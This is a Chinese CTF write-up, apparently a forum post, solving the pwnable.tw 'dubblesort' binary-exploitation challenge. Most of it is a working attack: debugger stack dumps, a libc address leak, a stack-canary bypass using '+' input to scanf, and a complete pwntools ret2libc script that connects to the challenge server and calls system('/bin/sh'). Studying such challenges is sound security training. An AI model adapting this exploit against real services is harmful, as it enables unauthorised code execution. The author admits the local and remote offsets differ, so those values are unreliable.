第一思路:本题开了好多保护,在 main 中没有 while 循环的情况下,要么一次性把问题解决,要么构造循环指令往前跳转一次解决部分问题
[Asm] 纯文本查看 复制代码 pwndbg> checksec
[*] 'dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
根据题目题面提示:Sort the memory!
结合排序,说明我们输入的值肯定是需要控制好大小,把需要的信息输出的
说明需要构造合适的输入,把检查栈溢出的变量 v11(也就是 canary)打印出来,然后构造栈溢出
给了 libc,提示能够使用 return to libc
那么思考如下几个问题
一、泄露 libc 信息(基址)
二、构造排序的 payload 使得 canary 打印输出
三、构造执行 payload 获取 shell,第三步往往是模板了,很多现成的
一、泄露 libc 信息
[Asm] 纯文本查看 复制代码 ./dubblesort
What your name :AAAA
Hello AAAA
,How many numbers do you what to sort :^Z
[1]+ Stopped ./dubblesort
./dubblesort
What your name :AAAAAAAA
Hello AAAAAAAA
C��y��H��,How many numbers do you what to sort :^Z
[2]+ Stopped ./dubblesort
在 gdb 调试里查看我们输入的数据
[Asm] 纯文本查看 复制代码 pwndbg> stack 40
00:0000│ esp 0xffffcfe0 ◂— 0x0
01:0004│ 0xffffcfe4 —▸ 0xffffd01c ◂— 0x34333231 ('1234')
02:0008│ 0xffffcfe8 ◂— 0x40 /* '@' */
03:000c│ 0xffffcfec —▸ 0xffffd028 —▸ 0xf7e0a679 (__new_exitfn+9) ◂— add ebx, 0x1a7987
04:0010│ 0xffffcff0 —▸ 0xffffd02c —▸ 0xf7fb5808 (__exit_funcs_lock) ◂— 0x0
05:0014│ 0xffffcff4 —▸ 0xffffd01b ◂— 0x33323100
06:0018│ 0xffffcff8 ◂— 0x1
07:001c│ 0xffffcffc ◂— 0xc2
08:0020│ 0xffffd000 ◂— 0x0
09:0024│ 0xffffd004 ◂— 0xc30000
0a:0028│ 0xffffd008 ◂— 0x1
0b:002c│ 0xffffd00c —▸ 0xf7ffc900 (_rtld_global_ro) ◂— 0x0
0c:0030│ 0xffffd010 —▸ 0xffffd060 —▸ 0xf7fe5970 (_dl_fini) ◂— push ebp
0d:0034│ 0xffffd014 ◂— 0x0
0e:0038│ 0xffffd018 ◂— 0x0
0f:003c│ ecx esi 0xffffd01c ◂— 0x34333231 ('1234')
10:0040│ 0xffffd020 ◂— 0x38373635 ('5678')
11:0044│ 0xffffd024 —▸ 0xffffd20a ◂— 0x5b500000
12:0048│ 0xffffd028 —▸ 0xf7e0a679 (__new_exitfn+9) ◂— add ebx, 0x1a7987
13:004c│ 0xffffd02c —▸ 0xf7fb5808 (__exit_funcs_lock) ◂— 0x0
14:0050│ 0xffffd030 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
15:0054│ 0xffffd034 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
16:0058│ 0xffffd038 ◂— 0x0
由于题目中的 printf 的 %s 的问题,导致是以 \x00 作为截断符号
我们输入的是12345678,在 0f:003c 处,00 在 16:0058 处,会把 15:0054 处的 0xf7fb2000 泄露出来
结合 vmmap 命令和 info sharedlibrary 可以算出来 libc 的基址
有了一、三就很好做了,下面讨论二
[Asm] 纯文本查看 复制代码 pwndbg> stack 50
00:0000│ esp 0xffd297f0 —▸ 0x5656dbfa ◂— and eax, 0x6e450075 /* '%u' */
01:0004│ 0xffd297f4 —▸ 0xffd29870 ◂— 0x0
02:0008│ 0xffd297f8 ◂— 0x19
03:000c│ 0xffd297fc —▸ 0xffd29838 ◂— 0xb /* '\x0b' */
04:0010│ 0xffd29800 —▸ 0xffd2983c ◂— 0xc /* '\x0c' */
05:0014│ 0xffd29804 —▸ 0xffd2982b ◂— 0x800
06:0018│ 0xffd29808 ◂— 0x24 /* '$' */
07:001c│ 0xffd2980c ◂— 0x0
08:0020│ 0xffd29810 ◂— 0x1
09:0024│ 0xffd29814 ◂— 0x2
0a:0028│ 0xffd29818 ◂— 0x3
0b:002c│ 0xffd2981c ◂— 0x4
0c:0030│ 0xffd29820 ◂— 0x5
0d:0034│ 0xffd29824 ◂— 0x6
0e:0038│ 0xffd29828 ◂— 0x7
0f:003c│ 0xffd2982c ◂— 0x8
10:0040│ 0xffd29830 ◂— 9 /* '\t' */
11:0044│ 0xffd29834 ◂— 0xa /* '\n' */
12:0048│ 0xffd29838 ◂— 0xb /* '\x0b' */
13:004c│ 0xffd2983c ◂— 0xc /* '\x0c' */
14:0050│ 0xffd29840 ◂— 0xd /* '\r' */
15:0054│ 0xffd29844 ◂— 0xe
16:0058│ 0xffd29848 ◂— 0xf
17:005c│ 0xffd2984c ◂— 0x10
18:0060│ 0xffd29850 ◂— 0x11
19:0064│ 0xffd29854 ◂— 0x12
1a:0068│ 0xffd29858 ◂— 0x13
1b:006c│ 0xffd2985c ◂— 0x14
1c:0070│ 0xffd29860 ◂— 0x15
1d:0074│ 0xffd29864 ◂— 0x16
1e:0078│ 0xffd29868 ◂— 0x17
1f:007c│ 0xffd2986c ◂— 0x5a3d0100
20:0080│ edi 0xffd29870 ◂— 0x0
21:0084│ 0xffd29874 ◂— 0x0
22:0088│ 0xffd29878 —▸ 0x5656db2b ◂— add ebx, 0x1475
23:008c│ 0xffd2987c ◂— 0x0
24:0090│ 0xffd29880 —▸ 0xf7f6a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
25:0094│ 0xffd29884 ◂— 0x0
26:0098│ ebp 0xffd29888 ◂— 0x0
27:009c│ 0xffd2988c —▸ 0xf7daafa1 (__libc_start_main+241) ◂— add esp, 0x10
28:00a0│ 0xffd29890 ◂— 0x1
29:00a4│ 0xffd29894 —▸ 0xffd29924 —▸ 0xffd2a885 ◂— './dubblesort'
2a:00a8│ 0xffd29898 —▸ 0xffd2992c —▸ 0xffd2a892 ◂— 0x435f534c ('LS_C')
2b:00ac│ 0xffd2989c —▸ 0xffd298b4 ◂— 0x0
2c:00b0│ 0xffd298a0 ◂— 0x1
2d:00b4│ 0xffd298a4 —▸ 0xffd29924 —▸ 0xffd2a885 ◂— './dubblesort'
2e:00b8│ 0xffd298a8 —▸ 0xf7f6a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
2f:00bc│ 0xffd298ac —▸ 0xf7f9d71a (call_init.part+26) ◂— add edi, 0x178e6
30:00c0│ 0xffd298b0 —▸ 0xffd29920 ◂— 0x1
31:00c4│ 0xffd298b4 ◂— 0x0
从这个列表里,我们就可以数数了
1、每个数的要求
从 06:0018 -> 1f:007c 处,之前都要填上正常的数
在 1f:007c 要填上 canary
在 20 -> 26 这 7 个值为 padding 值
在 27 处要填写 system 函数地址(覆盖 eip)
在 28 处随意填写,该值为 system函数执行之后的返回地址
在 29 处填写 "/bin/sh" 的地址
2、数的要求
由于该题会把数从小到大排序,那么要注意 padding 值的大小
那么偷懒吧,把 20 ~ 28 都填上 system 地址就好了,之前的填上特别小的数
canary 的不修改技巧:用 + 号
这里忽略了一个问题是:本地的 offset 和远程的 offset 不同,不知道怎么解决,需要大家教学,求教!给个 exp
[Asm] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 0
#context(log_level = "debug", arch = 'i386', os = "linux")
context(arch = 'i386', os = "linux")
if online == 0:
io = process("./dubblesort")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
offset = 0x1d800a
else:
io = remote("chall.pwnable.tw", 10101)
libc = ELF("./libc_32.so.6")
offset = 0x1b000a
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
#Leak LIBC
ru("name :")
sl("A" * 24)
ru("A" * 24)
libc_addr = u32(rn(4)) - offset
print ("libc = " + hex(libc_addr))
system_addr = libc_addr + libc.sym[b"system"]
binsh_addr = libc_addr + libc.search(b"/bin/sh").__next__()
print ("system_addr = " + hex(system_addr))
print ("binsh_addr = " + hex(binsh_addr))
#Sort Numbers
ru("sort :")
sl("35")
for i in range(24):
ru(":")
sl(str(i))
#24 -> Canary
ru(":")
sl("+")
# STACK PADDING(7) && EIP -> system && RetAddr
for i in range(9):
ru(":")
sl(str(system_addr))
#system( arg )
ru(":")
sl(str(binsh_addr))
io.interactive()
|